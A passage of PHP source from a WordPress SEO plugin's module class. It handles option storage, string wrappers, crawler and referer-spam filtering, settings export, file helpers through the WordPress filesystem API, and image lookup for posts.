$this->plugin_path['dirname'] = dirname( $this->plugin_path['basename'] ); $this->plugin_path['url'] = plugin_dir_url( $this->file ); $this->plugin_path['images_url'] = $this->plugin_path['url'] . 'images'; $this->script_data['plugin_path'] = $this->plugin_path; } /** * Get options for module, stored individually or together. */ function get_class_option() { $option_name = $this->get_option_name(); if ( $this->store_option || $option_name == $this->parent_option ) { return get_option( $option_name ); } else { $option = get_option( $this->parent_option ); if ( isset( $option['modules'] ) && isset( $option['modules'][ $option_name ] ) ) { return $option['modules'][ $option_name ]; } } return false; } /** * Update options for module, stored individually or together. * * @param $option_data * @param bool $option_name * * @return bool */ function update_class_option( $option_data, $option_name = false ) { if ( false == $option_name ) { $option_name = $this->get_option_name(); } if ( $this->store_option || $option_name == $this->parent_option ) { return update_option( $option_name, $option_data ); } else { $option = get_option( $this->parent_option ); if ( ! isset( $option['modules'] ) ) { $option['modules'] = array(); } $option['modules'][ $option_name ] = $option_data; return update_option( $this->parent_option, $option ); } } /** * Delete options for module, stored individually or together. * * @param bool $delete * * @return bool */ function delete_class_option( $delete = false ) { $option_name = $this->get_option_name(); if ( $this->store_option || $delete ) { delete_option( $option_name ); } else { $option = get_option( $this->parent_option ); if ( isset( $option['modules'] ) && isset( $option['modules'][ $option_name ] ) ) { unset( $option['modules'][ $option_name ] ); return update_option( $this->parent_option, $option ); } } return false; } /** * Get the option name with prefix. */ function get_option_name() { if ( ! isset( $this->option_name ) || empty( $this->option_name ) ) { $this->option_name = $this->prefix . 'options'; } return $this->option_name; } /** * Convenience function to see if an option is set. * * @param string $option * * @param null $location * * @return bool */ function option_isset( $option, $location = null ) { $prefix = $this->get_prefix( $location ); $opt = $prefix . $option; return ( isset( $this->options[ $opt ] ) && $this->options[ $opt ] ); } /** * Case conversion; handle non UTF-8 encodings and fallback ** * * @param $str * @param string $mode * * @return string */ function convert_case( $str, $mode = 'upper' ) { static $charset = null; if ( null == $charset ) { $charset = get_bloginfo( 'charset' ); } $str = (string) $str; if ( 'title' == $mode ) { if ( function_exists( 'mb_convert_case' ) ) { return mb_convert_case( $str, MB_CASE_TITLE, $charset ); } else { return ucwords( $str ); } } if ( 'UTF-8' == $charset ) { // phpcs:disable WordPress.NamingConventions.ValidVariableName.VariableNotSnakeCase global $UTF8_TABLES; include_once( AIOSEOP_PLUGIN_DIR . 'inc/aioseop_UTF8.php' ); if ( is_array( $UTF8_TABLES ) ) { if ( 'upper' == $mode ) { return strtr( $str, $UTF8_TABLES['strtoupper'] ); } if ( 'lower' == $mode ) { return strtr( $str, $UTF8_TABLES['strtolower'] ); } } // phpcs:enable } if ( 'upper' == $mode ) { if ( function_exists( 'mb_strtoupper' ) ) { return mb_strtoupper( $str, $charset ); } else { return strtoupper( $str ); } } if ( 'lower' == $mode ) { if ( function_exists( 'mb_strtolower' ) ) { return mb_strtolower( $str, $charset ); } else { return strtolower( $str ); } } return $str; } /** * Convert a string to lower case * Compatible with mb_strtolower(), an UTF-8 friendly replacement for strtolower() * * @param $str * * @return string */ function strtolower( $str ) { return $this->convert_case( $str, 'lower' ); } /** * Convert a string to upper case * Compatible with mb_strtoupper(), an UTF-8 friendly replacement for strtoupper() * * @param $str * * @return string */ function strtoupper( $str ) { return $this->convert_case( $str, 'upper' ); } /** * Convert a string to title case * Compatible with mb_convert_case(), an UTF-8 friendly replacement for ucwords() * * @param $str * * @return string */ function ucwords( $str ) { return $this->convert_case( $str, 'title' ); } /** * Wrapper for strlen() - uses mb_strlen() if possible. * * @param $string * * @return int */ function strlen( $string ) { if ( function_exists( 'mb_strlen' ) ) { return mb_strlen( $string ); } return strlen( $string ); } /** * Wrapper for substr() - uses mb_substr() if possible. * * @param $string * @param int $start * @param int $length * * @return mixed */ function substr( $string, $start = 0, $length = 2147483647 ) { $args = func_get_args(); if ( function_exists( 'mb_substr' ) ) { return call_user_func_array( 'mb_substr', $args ); } return call_user_func_array( 'substr', $args ); } /** * Wrapper for strpos() - uses mb_strpos() if possible. * * @param $haystack * @param string $needle * * @param int $offset * * @return bool|int */ function strpos( $haystack, $needle, $offset = 0 ) { if ( function_exists( 'mb_strpos' ) ) { return mb_strpos( $haystack, $needle, $offset ); } return strpos( $haystack, $needle, $offset ); } /** * Wrapper for strrpos() - uses mb_strrpos() if possible. * * @param $haystack * @param string $needle * * @param int $offset * * @return bool|int */ function strrpos( $haystack, $needle, $offset = 0 ) { if ( function_exists( 'mb_strrpos' ) ) { return mb_strrpos( $haystack, $needle, $offset ); } return strrpos( $haystack, $needle, $offset ); } /** * Convert html string to php array - useful to get a serializable value. * * @param string $xmlstr * * @return array */ function html_string_to_array( $htmlstr ) { if ( ! class_exists( 'DOMDocument' ) ) { return array(); } else { $doc = new DOMDocument(); $doc->loadXML( $htmlstr ); // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase return $this->domnode_to_array( $doc->documentElement ); } } /** * DOM Node to Array * * @since ? * * @param DOMElement $node * @return array|string */ function domnode_to_array( $node ) { // phpcs:disable WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase switch ( $node->nodeType ) { case XML_CDATA_SECTION_NODE: case XML_TEXT_NODE: return trim( $node->textContent ); break; case XML_ELEMENT_NODE: $output = array(); for ( $i = 0, $m = $node->childNodes->length; $i < $m; $i ++ ) { $child = $node->childNodes->item( $i ); $v = $this->domnode_to_array( $child ); if ( isset( $child->tagName ) ) { $t = $child->tagName; if ( ! isset( $output[ $t ] ) ) { $output[ $t ] = array(); } if ( is_array( $output ) ) { $output[ $t ][] = $v; } } elseif ( $v || '0' === $v ) { $output = (string) $v; } } // Has attributes but isn't an array. if ( $node->attributes->length && ! is_array( $output ) ) { $output = array( '@content' => $output ); } //Change output into an array. if ( is_array( $output ) ) { if ( $node->attributes->length ) { $a = array(); foreach ( $node->attributes as $attr_name => $attr_node ) { $a[ $attr_name ] = (string) $attr_node->value; } $output['@attributes'] = $a; } foreach ( $output as $t => $v ) { if ( is_array( $v ) && 1 == count( $v ) && '@attributes' != $t ) { $output[ $t ] = $v[0]; } } } } // phpcs:enable if ( empty( $output ) ) { return ''; } return $output; } /** * Apply Custom Fields * * Adds support for using %cf_(name of field)% for using * custom fields / Advanced Custom Fields in titles / descriptions etc. ** * * @since ? * * @param $format * @return mixed */ function apply_cf_fields( $format ) { return preg_replace_callback( '/%cf_([^%]*?)%/', array( $this, 'cf_field_replace' ), $format ); } /** * (ACF) Custom Field Replace * * @since ? * * @param $matches * @return bool|mixed|string */ function cf_field_replace( $matches ) { $result = ''; if ( ! empty( $matches ) ) { if ( ! empty( $matches[1] ) ) { if ( function_exists( 'get_field' ) ) { $result = get_field( $matches[1] ); } if ( empty( $result ) ) { global $post; if ( ! empty( $post ) ) { $result = get_post_meta( $post->ID, $matches[1], true ); } } } else { $result = $matches[0]; } } $result = strip_tags( $result ); return $result; } /** * Returns child blogs of parent in a multisite. */ function get_child_blogs() { global $wpdb, $blog_id; $site_id = $wpdb->siteid; if ( is_multisite() ) { if ( $site_id != $blog_id ) { return false; } // @codingStandardsIgnoreStart return $wpdb->get_col( "SELECT blog_id FROM {$wpdb->blogs} WHERE site_id = {$blog_id} AND site_id != blog_id" ); // @codingStandardsIgnoreEnd } return false; } /** * Is AIOSEOP Active Blog * * Checks if the plugin is active on a given blog by blogid on a multisite. * * @since ? * * @param bool $bid * @return bool */ function is_aioseop_active_on_blog( $bid = false ) { global $blog_id; if ( empty( $bid ) || ( $bid == $blog_id ) || ! is_multisite() ) { return true; } if ( ! function_exists( 'is_plugin_active_for_network' ) ) { require_once( ABSPATH . '/wp-admin/includes/plugin.php' ); } if ( is_plugin_active_for_network( AIOSEOP_PLUGIN_BASENAME ) ) { return true; } return in_array( AIOSEOP_PLUGIN_BASENAME, (array) get_blog_option( $bid, 'active_plugins', array() ) ); } /** * Quote List for Regex * * @since ? * * @param $list * @param string $quote * @return string */ function quote_list_for_regex( $list, $quote = '/' ) { $regex = ''; $cont = 0; foreach ( $list as $l ) { $trim_l = trim( $l ); if ( ! empty( $trim_l ) ) { if ( $cont ) { $regex .= '|'; } $cont = 1; $regex .= preg_quote( trim( $l ), $quote ); } } return $regex; } /** * Is Good Bot * * @see Original code, thanks to Sean M. Brown. * @link http://smbrown.wordpress.com/2009/04/29/verify-googlebot-forward-reverse-dns/ * * @return bool */ function is_good_bot() { $botlist = array( 'Yahoo! Slurp' => 'crawl.yahoo.net', 'googlebot' => '.googlebot.com', 'msnbot' => 'search.msn.com', ); $botlist = apply_filters( $this->prefix . 'botlist', $botlist ); if ( ! empty( $botlist ) ) { if ( ! isset( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $ua = $_SERVER['HTTP_USER_AGENT']; $uas = $this->quote_list_for_regex( $botlist ); if ( preg_match( '/' . $uas . '/i', $ua ) ) { $ip = $_SERVER['REMOTE_ADDR']; $hostname = gethostbyaddr( $ip ); $ip_by_hostname = gethostbyname( $hostname ); if ( $ip_by_hostname == $ip ) { $hosts = array_values( $botlist ); foreach ( $hosts as $k => $h ) { $hosts[ $k ] = preg_quote( $h ) . '$'; } $hosts = join( '|', $hosts ); if ( preg_match( '/' . $hosts . '/i', $hostname ) ) { return true; } } } return false; } } /** * Default Bad Bots * * @since ? * * @return array */ function default_bad_bots() { $botlist = array( 'Abonti', 'aggregator', 'AhrefsBot', 'asterias', 'BDCbot', 'BLEXBot', 'BuiltBotTough', 'Bullseye', 'BunnySlippers', 'ca-crawler', 'CCBot', 'Cegbfeieh', 'CheeseBot', 'CherryPicker', 'CopyRightCheck', 'cosmos', 'Crescent', 'discobot', 'DittoSpyder', 'DotBot', 'Download Ninja', 'EasouSpider', 'EmailCollector', 'EmailSiphon', 'EmailWolf', 'EroCrawler', 'ExtractorPro', 'Fasterfox', 'FeedBooster', 'Foobot', 'Genieo', 'grub-client', 'Harvest', 'hloader', 'httplib', 'HTTrack', 'humanlinks', 'ieautodiscovery', 'InfoNaviRobot', 'IstellaBot', 'Java/1.', 'JennyBot', 'k2spider', 'Kenjin Spider', 'Keyword Density/0.9', 'larbin', 'LexiBot', 'libWeb', 'libwww', 'LinkextractorPro', 'linko', 'LinkScan/8.1a Unix', 'LinkWalker', 'LNSpiderguy', 'lwp-trivial', 'magpie', 'Mata Hari', 'MaxPointCrawler', 'MegaIndex', 'Microsoft URL Control', 'MIIxpc', 'Mippin', 'Missigua Locator', 'Mister PiX', 'MJ12bot', 'moget', 'MSIECrawler', 'NetAnts', 'NICErsPRO', 'Niki-Bot', 'NPBot', 'Nutch', 'Offline Explorer', 'Openfind', 'panscient.com', 'PHP/5.{', 'ProPowerBot/2.14', 'ProWebWalker', 'Python-urllib', 'QueryN Metasearch', 'RepoMonkey', 'SISTRIX', 'sitecheck.Internetseer.com', 'SiteSnagger', 'SnapPreviewBot', 'Sogou', 'SpankBot', 'spanner', 'spbot', 'Spinn3r', 'suzuran', 'Szukacz/1.4', 'Teleport', 'Telesoft', 'The Intraformant', 'TheNomad', 'TightTwatBot', 'Titan', 'toCrawl/UrlDispatcher', 'True_Robot', 'turingos', 'TurnitinBot', 'UbiCrawler', 'UnisterBot', 'URLy Warning', 'VCI', 'WBSearchBot', 'Web Downloader/6.9', 'Web Image Collector', 'WebAuto', 'WebBandit', 'WebCopier', 'WebEnhancer', 'WebmasterWorldForumBot', 'WebReaper', 'WebSauger', 'Website Quester', 'Webster Pro', 'WebStripper', 'WebZip', 'Wotbox', 'wsr-agent', 'WWW-Collector-E', 'Xenu', 'Zao', 'Zeus', 'ZyBORG', 'coccoc', 'Incutio', 'lmspider', 'memoryBot', 'serf', 'Unknown', 'uptime files', ); return $botlist; } /** * Is Bad Bot * * @since ? * * @return bool */ function is_bad_bot() { $botlist = $this->default_bad_bots(); $botlist = apply_filters( $this->prefix . 'badbotlist', $botlist ); if ( ! empty( $botlist ) ) { if ( ! isset( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $ua = $_SERVER['HTTP_USER_AGENT']; $uas = $this->quote_list_for_regex( $botlist ); if ( preg_match( '/' . $uas . '/i', $ua ) ) { return true; } } return false; } /** * Default Bad Referers * * @since ? * * @return array */ function default_bad_referers() { $referlist = array( 'semalt.com', 'kambasoft.com', 'savetubevideo.com', 'buttons-for-website.com', 'sharebutton.net', 'soundfrost.org', 'srecorder.com', 'softomix.com', 'softomix.net', 'myprintscreen.com', 'joinandplay.me', 'fbfreegifts.com', 'openmediasoft.com', 'zazagames.org', 'extener.org', 'openfrost.com', 'openfrost.net', 'googlsucks.com', 'best-seo-offer.com', 'buttons-for-your-website.com', 'www.Get-Free-Traffic-Now.com', 'best-seo-solution.com', 'buy-cheap-online.info', 'site3.free-share-buttons.com', 'webmaster-traffic.com', ); return $referlist; } /** * Is Bad Referer * * @since ? * * @return bool */ function is_bad_referer() { $referlist = $this->default_bad_referers(); $referlist = apply_filters( $this->prefix . 'badreferlist', $referlist ); if ( ! empty( $referlist ) && ! empty( $_SERVER ) && ! empty( $_SERVER['HTTP_REFERER'] ) ) { $ref = $_SERVER['HTTP_REFERER']; $regex = $this->quote_list_for_regex( $referlist ); if ( preg_match( '/' . $regex . '/i', $ref ) ) { return true; } } return false; } /** * Allow Bot * * @since ? * * @return mixed|void */ function allow_bot() { $allow_bot = true; if ( ( ! $this->is_good_bot() ) && $this->is_bad_bot() && ! is_user_logged_in() ) { $allow_bot = false; } return apply_filters( $this->prefix . 'allow_bot', $allow_bot ); } /** * Displays tabs for tabbed locations on a settings page. * * @since ? * * @param $location */ function display_tabs( $location ) { if ( ( null != $location ) && isset( $locations[ $location ]['tabs'] ) ) { // TODO Fix undefined variable. $tabs = $locations['location']['tabs']; } else { $tabs = $this->tabs; } if ( ! empty( $tabs ) ) { ?> <div class="aioseop_tabs_div"><label class="aioseop_head_nav"> <?php foreach ( $tabs as $k => $v ) { ?> <a class="aioseop_head_nav_tab aioseop_head_nav_ <?php if ( $this->current_tab != $k ) { echo 'in'; } ?> active" href="<?php echo esc_url( add_query_arg( 'tab', $k ) ); ?>"><?php echo $v['name']; ?></a> <?php } ?> </label></div> <?php } } /** * Get Object Labels * * @since ? * * @param $post_objs * @return array */ function get_object_labels( $post_objs ) { $pt = array_keys( $post_objs ); $post_types = array(); foreach ( $pt as $p ) { if ( ! empty( $post_objs[ $p ]->label ) ) { $post_types[ $p ] = $post_objs[ $p ]->label; } else { $post_types[ $p ] = $p; } } return $post_types; } /** * Get Term Labels * * @since ? * * @param $post_objs * @return array */ function get_term_labels( $post_objs ) { $post_types = array(); foreach ( $post_objs as $p ) { if ( ! empty( $p->name ) ) { $post_types[ $p->term_id ] = $p->name; } } return $post_types; } /** * Get Post Type Titles * * @since ? * * @param array $args * @return array */ function get_post_type_titles( $args = array() ) { $object_labels = $this->get_object_labels( get_post_types( $args, 'objects' ) ); if ( isset( $object_labels['attachment'] ) ) { $object_labels['attachment'] = __( 'Media / Attachments', 'all-in-one-seo-pack' ); } return $object_labels; } /** * Get Taxonomy Titles * * @since ? * * @param array $args * @return array */ function get_taxonomy_titles( $args = array() ) { return $this->get_object_labels( get_taxonomies( $args, 'objects' ) ); } /** * Gets the category titles. * * @since 3.0 Changed function name from `get_category_titles` to `get_term_titles`. (#240) * @since 3.0 Changed `get_categories()` to `get_terms()` to fetch all (custom) terms. (#240) * * @see WP_Term_Query::__constructor() * @link https://developer.wordpress.org/reference/classes/wp_term_query/__construct/ * * @param array $args An array for arguments to query by. See WP_Term_Query::__constructor() for more info. * @return array */ function get_term_titles( $args = array() ) { return $this->get_term_labels( get_terms( $args ) ); } /** * Helper function for exporting settings on post data. * * @param string $prefix * @param array $query * * @return string */ function post_data_export( $prefix = '_aioseop', $query = array( 'posts_per_page' => - 1 ) ) { $buf = ''; $posts_query = new WP_Query( $query ); while ( $posts_query->have_posts() ) { $posts_query->the_post(); global $post; $guid = $post->guid; $type = $post->post_type; $title = $post->post_title; $date = $post->post_date; $data = ''; $post_custom_fields = get_post_custom( $post->ID ); $has_data = null; if ( is_array( $post_custom_fields ) ) { foreach ( $post_custom_fields as $field_name => $field ) { if ( ( $this->strpos( $field_name, $prefix ) === 0 ) && $field[0] ) { $has_data = true; $data .= $field_name . " = '" . $field[0] . "'\n"; } } } if ( ! empty( $data ) ) { $has_data = true; } if ( null != $has_data ) { $post_info = "\n[post_data]\n\n"; $post_info .= "post_title = '" . $title . "'\n"; $post_info .= "post_guid = '" . $guid . "'\n"; $post_info .= "post_date = '" . $date . "'\n"; $post_info .= "post_type = '" . $type . "'\n"; if ( $data ) { $buf .= $post_info . $data . "\n"; } } } wp_reset_postdata(); return $buf; } /** * Handles exporting settings data for a module. * * @since 2.4.13 Fixed bug on empty options. * * @param $buf * * @return string */ function settings_export( $buf ) { global $aiosp; $post_types = apply_filters( 'aioseop_export_settings_exporter_post_types', null ); $has_data = null; $general_settings = null; $exporter_choices = apply_filters( 'aioseop_export_settings_exporter_choices', '' ); if ( ! empty( $_REQUEST['aiosp_importer_exporter_export_choices'] ) ) { $exporter_choices = $_REQUEST['aiosp_importer_exporter_export_choices']; } if ( ! empty( $exporter_choices ) && is_array( $exporter_choices ) ) { foreach ( $exporter_choices as $ex ) { if ( 1 == $ex ) { $general_settings = true; } if ( 2 == $ex && isset( $_REQUEST['aiosp_importer_exporter_export_post_types'] ) ) { $post_types = $_REQUEST['aiosp_importer_exporter_export_post_types']; } } } if ( ( null != $post_types ) && ( $this === $aiosp ) ) { $buf .= $this->post_data_export( '_aioseop', array( 'posts_per_page' => - 1, 'post_type' => $post_types, 'post_status' => array( 'publish', 'pending', 'draft', 'future', 'private', 'inherit' ), ) ); } /* Add all active settings to settings file */ $name = $this->get_option_name(); $options = $this->get_class_option(); if ( ! empty( $options ) && null != $general_settings ) { $buf .= "\n[$name]\n\n"; foreach ( $options as $key => $value ) { if ( ( $name == $this->parent_option ) && ( 'modules' == $key ) ) { continue; } // don't re-export all module settings -- pdb if ( is_array( $value ) ) { $value = "'" . str_replace( array( "'", "\n", "\r" ), array( "\'", '\n', '\r', ), trim( serialize( $value ) ) ) . "'"; } else { $value = str_replace( array( "\n", "\r" ), array( '\n', '\r', ), trim( var_export( $value, true ) ) ); } $buf .= "$key = $value\n"; } } return $buf; } /** * Order for adding the menus for the aioseop_modules_add_menus hook. */ function menu_order() { return 10; } /** * Print a basic error message. * * @param $error * * @return bool */ function output_error( $error ) { echo "<div class='aioseop_module error'>$error</div>"; return false; } /** * * Backwards compatibility - see http://php.net/manual/en/function.str-getcsv.php * * @param $input * @param string $delimiter * @param string $enclosure * @param string $escape * * @return array */ function str_getcsv( $input, $delimiter = ',', $enclosure = '"', $escape = '\\' ) { $fp = fopen( 'php://memory', 'r+' ); fputs( $fp, $input ); rewind( $fp ); $data = fgetcsv( $fp, null, $delimiter, $enclosure ); // $escape only got added in 5.3.0 fclose( $fp ); return $data; } /** * * Helper function to convert csv in key/value pair format to an associative array. * * @param $csv * * @return array */ function csv_to_array( $csv ) { $args = array(); if ( ! function_exists( 'str_getcsv' ) ) { $v = $this->str_getcsv( $csv ); } else { $v = str_getcsv( $csv ); } $size = count( $v ); if ( is_array( $v ) && isset( $v[0] ) && $size >= 2 ) { for ( $i = 0; $i < $size; $i += 2 ) { $args[ $v[ $i ] ] = $v[ $i + 1 ]; } } return $args; } /** Allow modules to use WP Filesystem if available and desired, fall back to PHP filesystem access otherwise. * * @param string $method * @param bool $form_fields * @param string $url * @param bool $error * * @return bool */ function use_wp_filesystem( $method = '', $form_fields = false, $url = '', $error = false ) { if ( empty( $method ) ) { $this->credentials = request_filesystem_credentials( $url ); } else { $this->credentials = request_filesystem_credentials( $url, $method, $error, false, $form_fields ); } return $this->credentials; } /** * Wrapper function to get filesystem object. */ function get_filesystem_object() { $cred = get_transient( 'aioseop_fs_credentials' ); if ( ! empty( $cred ) ) { $this->credentials = $cred; } if ( function_exists( 'WP_Filesystem' ) && WP_Filesystem( $this->credentials ) ) { global $wp_filesystem; return $wp_filesystem; } else { require_once( ABSPATH . 'wp-admin/includes/template.php' ); require_once( ABSPATH . 'wp-admin/includes/screen.php' ); require_once( ABSPATH . 'wp-admin/includes/file.php' ); if ( ! WP_Filesystem( $this->credentials ) ) { $this->use_wp_filesystem(); } if ( ! empty( $this->credentials ) ) { set_transient( 'aioseop_fs_credentials', $this->credentials, 10800 ); } global $wp_filesystem; if ( is_object( $wp_filesystem ) ) { return $wp_filesystem; } } return false; } /** * See if a file exists using WP Filesystem. * * @param string $filename * * @return bool */ function file_exists( $filename ) { $wpfs = $this->get_filesystem_object(); if ( is_object( $wpfs ) ) { return $wpfs->exists( $filename ); } return $wpfs; } /** * See if the directory entry is a file using WP Filesystem. * * @param $filename * * @return bool */ function is_file( $filename ) { $wpfs = $this->get_filesystem_object(); if ( is_object( $wpfs ) ) { return $wpfs->is_file( $filename ); } return $wpfs; } /** * List files in a directory using WP Filesystem. * * @param $path * * @return array|bool */ function scandir( $path ) { $wpfs = $this->get_filesystem_object(); if ( is_object( $wpfs ) ) { $dirlist = $wpfs->dirlist( $path ); if ( empty( $dirlist ) ) { return $dirlist; } return array_keys( $dirlist ); } return $wpfs; } /** * Load a file through WP Filesystem; implement basic support for offset and maxlen. * * @param $filename * @param bool $use_include_path * @param null $context * @param int $offset * @param int $maxlen * * @return bool|mixed */ function load_file( $filename, $use_include_path = false, $context = null, $offset = - 1, $maxlen = - 1 ) { $wpfs = $this->get_filesystem_object(); if ( is_object( $wpfs ) ) { if ( ! $wpfs->exists( $filename ) ) { return false; } if ( ( $offset > 0 ) || ( $maxlen >= 0 ) ) { if ( 0 === $maxlen ) { return ''; } if ( 0 > $offset ) { $offset = 0; } $file = $wpfs->get_contents( $filename ); if ( ! is_string( $file ) || empty( $file ) ) { return $file; } if ( 0 > $maxlen ) { return $this->substr( $file, $offset ); } else { return $this->substr( $file, $offset, $maxlen ); } } else { return $wpfs->get_contents( $filename ); } } return false; } /** * Save a file through WP Filesystem. * * @param string $filename * * @param $contents * * @return bool */ function save_file( $filename, $contents ) { /* translators: %s is a placeholder and will be replaced with the name of the relevant file. */ $failed_str = sprintf( __( 'Failed to write file %s!', 'all-in-one-seo-pack' ) . "\n", $filename ); /* translators: %s is a placeholder and will be replaced with the name of the relevant file. */ $readonly_str = sprintf( __( 'File %s isn\'t writable!', 'all-in-one-seo-pack' ) . "\n", $filename ); $wpfs = $this->get_filesystem_object(); if ( is_object( $wpfs ) ) { $file_exists = $wpfs->exists( $filename ); if ( ! $file_exists || $wpfs->is_writable( $filename ) ) { if ( $wpfs->put_contents( $filename, $contents ) === false ) { return $this->output_error( $failed_str ); } } else { return $this->output_error( $readonly_str ); } return true; } return false; } /** * Delete a file through WP Filesystem. * * @param string $filename * * @return bool */ function delete_file( $filename ) { $wpfs = $this->get_filesystem_object(); if ( is_object( $wpfs ) ) { if ( $wpfs->exists( $filename ) ) { if ( $wpfs->delete( $filename ) === false ) { /* translators: %s is a placeholder and will be replaced with the name of the relevant file. */ $this->output_error( sprintf( __( 'Failed to delete file %s!', 'all-in-one-seo-pack' ) . "\n", $filename ) ); } else { return true; } } else { /* translators: %s is a placeholder and will be replaced with the name of the relevant file. */ $this->output_error( sprintf( __( "File %s doesn't exist!", 'all-in-one-seo-pack' ) . "\n", $filename ) ); } } return false; } /** * Rename a file through WP Filesystem. * * @param string $filename * @param string $newname * * @return bool */ function rename_file( $filename, $newname ) { $wpfs = $this->get_filesystem_object(); if ( is_object( $wpfs ) ) { $file_exists = $wpfs->exists( $filename ); $newfile_exists = $wpfs->exists( $newname ); if ( $file_exists && ! $newfile_exists ) { if ( $wpfs->move( $filename, $newname ) === false ) { /* translators: %s is a placeholder and will be replaced with the name of the relevant file. */ $this->output_error( sprintf( __( 'Failed to rename file %s!', 'all-in-one-seo-pack' ) . "\n", $filename ) ); } else { return true; } } else { if ( ! $file_exists ) { /* translators: %s is a placeholder and will be replaced with the name of the relevant file. */ $this->output_error( sprintf( __( "File %s doesn't exist!", 'all-in-one-seo-pack' ) . "\n", $filename ) ); } elseif ( $newfile_exists ) { /* translators: %s is a placeholder and will be replaced with the name of the relevant file. */ $this->output_error( sprintf( __( 'File %s already exists!', 'all-in-one-seo-pack' ) . "\n", $newname ) ); } } } return false; } /** * Load multiple files. * * @param $options * @param $opts * @param $prefix * * @return mixed */ function load_files( $options, $opts, $prefix ) { foreach ( $opts as $opt => $file ) { $opt = $prefix . $opt; $file = ABSPATH . $file; $contents = $this->load_file( $file ); if ( false !== $contents ) { $options[ $opt ] = $contents; } } return $options; } /** * Save multiple files. * * @param $opts * @param $prefix */ function save_files( $opts, $prefix ) { foreach ( $opts as $opt => $file ) { $opt = $prefix . $opt; if ( isset( $_POST[ $opt ] ) ) { $output = stripslashes_deep( $_POST[ $opt ] ); $file = ABSPATH . $file; $this->save_file( $file, $output ); } } } /** * Delete multiple files. * * @param $opts */ function delete_files( $opts ) { foreach ( $opts as $opt => $file ) { $file = ABSPATH . $file; $this->delete_file( $file ); } } /** * Returns available social seo images. * * @since 2.4 #1079 Fixes array_flip warning on opengraph module. * * @param array $options Plugin/module options. * @param object $p Post. * * @return array */ function get_all_images_by_type( $options = null, $p = null ) { $img = array(); if ( empty( $img ) ) { $size = apply_filters( 'post_thumbnail_size', 'large' ); global $aioseop_options, $wp_query, $aioseop_opengraph; if ( null === $p ) { global $post; } else { $post = $p; } $count = 1; if ( ! empty( $post ) ) { if ( ! is_object( $post ) ) { $post = get_post( $post ); } if ( is_object( $post ) && function_exists( 'get_post_thumbnail_id' ) ) { if ( 'attachment' == $post->post_type ) { $post_thumbnail_id = $post->ID; } else { $post_thumbnail_id = get_post_thumbnail_id( $post->ID ); } if ( ! empty( $post_thumbnail_id ) ) { $image = wp_get_attachment_image_src( $post_thumbnail_id, $size ); if ( is_array( $image ) ) { $img[] = array( 'type' => 'featured', 'id' => $post_thumbnail_id, 'link' => $image[0], ); } } } $post_id = $post->ID; $p = $post; $w = $wp_query; $meta_key = ''; if ( is_array( $options ) && isset( $options['meta_key'] ) ) { $meta_key = $options['meta_key']; } if ( ! empty( $meta_key ) && ! empty( $post ) ) { $image = $this->get_the_image_by_meta_key( array( 'post_id' => $post->ID, 'meta_key' => explode( ',', $meta_key ), ) ); if ( ! empty( $image ) ) { $img[] = array( 'type' => 'meta_key', 'id' => $meta_key, 'link' => $image, ); } } if ( '' != ! $post->post_modified_gmt ) { $wp_query = new WP_Query( array( 'p' => $post_id, 'post_type' => $post->post_type, ) ); } if ( 'page' == $post->post_type ) { $wp_query->is_page = true; } elseif ( 'attachment' == $post->post_type ) { $wp_query->is_attachment = true; } else { $wp_query->is_single = true; } if ( 'page' == get_option( 'show_on_front' ) && get_option( 'page_for_posts' ) == $post->ID ) { $wp_query->is_home = true; } $args['options']['type'] = 'html'; $args['options']['nowrap'] = false; $args['options']['save'] = false; $wp_query->queried_object = $post; $attachments = get_children( array( 'post_parent' => $post->ID, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => 'ASC', 'orderby' => 'menu_order ID', ) ); if ( ! empty( $attachments ) ) { foreach ( $attachments as $id => $attachment ) { $image = wp_get_attachment_image_src( $id, $size ); if ( is_array( $image ) ) { $img[] = array( 'type' => 'attachment', 'id' => $id, 'link' => $image[0], ); } } } $matches = array(); preg_match_all( '|<img.*?src=[\'"](.*?)[\'"].*?>|i', get_post_field( 'post_content', $post->ID ), $matches ); if ( isset( $matches ) && ! empty( $matches[1] ) && ! empty( $matches[1][0] ) ) { foreach ( $matches[1] as $i => $m ) { $img[] = array( 'type' => 'post_content', 'id' => 'post' . $count ++, 'link' => $m, ); } } wp_reset_postdata(); $wp_query = $w; $post = $p; } } return $img; } /** * Get All Images * * @since ? * * @param null $options * @param null $p * @return array */ function get_all_images( $options = null, $p = null ) { $img = $this->get_all_images_by_type( $options, $p ); $legacy = array(); foreach ( $img as $k => $v ) { $v['link'] = set_url_scheme( $v['link'] ); if ( 'featured' == $v['type'] ) { $legacy[ $v['link'] ] = 1; } else { $legacy[ $v['link'] ] = $v['id']; } } return $legacy; } /** * Thanks to Justin Tadlock for the original get-the-image code - http://themehybrid.com/plugins/get-the-image ** * * @param null $options * @param null $p * * @return bool|mixed|string */ function get_the_image( $options = null, $p = null ) { if ( null === $p ) { global $post; } else { $post = $p; } $meta_key = ''; if ( is_array( $options ) && isset( $options['meta_key'] ) ) { $meta_key = $options['meta_key']; } if ( ! empty( $meta_key ) && ! empty( $post ) ) { $meta_key = explode( ',', $meta_key ); $image = $this->get_the_image_by_meta_key( array( 'post_id' => $post->ID, 'meta_key' => $meta_key, ) ); } if ( empty( $image ) ) { $image = $this->get_the_image_by_post_thumbnail( $post ); } if ( empty( $image ) ) { $image = $this->get_the_image_by_attachment( $post ); } if ( empty( $image ) ) { $image = $this->get_the_image_by_scan( $post ); } if ( empty( $image ) ) { $image = $this->get_the_image_by_default( $post ); } return $image; } /** * Get the Image by Default * * @since ? * * @param null $p * @return string */ function get_the_image_by_default( $p = null ) { return ''; } /** * Get the Image by Meta Key * * @since ? * * @param array $args * @return bool|mixed */ function get_the_image_by_meta_key( $args = array() ) { /* If $meta_key is not an array. */ if ( ! is_array( $args['meta_key'] ) ) { $args['meta_key'] = array( $args['meta_key'] ); } /* Loop through each of the given meta keys. */ foreach ( $args['meta_key'] as $meta_key ) { /* Get the image URL by the current meta key in the loop. */ $image = get_post_meta( $args['post_id'], $meta_key, true ); /* If a custom key value has been given for one of the keys, return the image URL. */ if ( ! empty( $image ) ) { return $image; } } return false; } /** * Get the Image by Post Thumbnail * * @since ? * @since 2.4.13 Fixes when content is taxonomy. * * @param null $p * @return bool */ function get_the_image_by_post_thumbnail( $p = null ) { if ( null === $p ) { global $post; } else { $post = $p; } if ( is_category() || is_tag() || 